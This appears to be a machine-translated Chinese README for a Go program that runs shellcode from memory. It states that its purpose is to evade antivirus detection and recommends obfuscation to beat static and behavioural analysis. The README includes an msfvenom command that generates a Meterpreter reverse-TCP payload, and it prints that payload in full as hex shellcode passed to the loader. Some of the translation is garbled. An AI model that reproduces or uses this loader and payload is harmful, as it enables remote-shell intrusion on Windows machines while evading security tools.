go shellcode
1.0.0
这是一个从内存中运行ShellCode作为其自己的过程的程序。这是为了击败反病毒检测而写的。现在,这被发现为虚拟:win32/shrine.a。使用垃圾等工具来混淆二进制以击败静态分析。自己更改代码以击败行为分析。
请记住,只有64位壳牌将在64位进程中运行。这无法自动检测您的ShellCode体系结构。
使用MSFVENOM或METASPLOIT来生成一些shellcode作为十六进制格式:
$ msfvenom -p windows/meterpreter/reverse_tcp -f hex -o rev.hex LHOST=127.0.0.1 LPORT=4444
c:windowstemp>sc.exe fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a687f000001680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5
有时,壳码大于带有参数的命令行的极限。尝试将整个内容放入批处理脚本中。
标准的GO建筑步骤。将Goos设置为windows和Goarch与您的ShellCode相同,分别为386或amd64 。这无法检测您的ShellCode的体系结构。
由此产生的二进制有点大,210万,但与UPX相连,大约508K。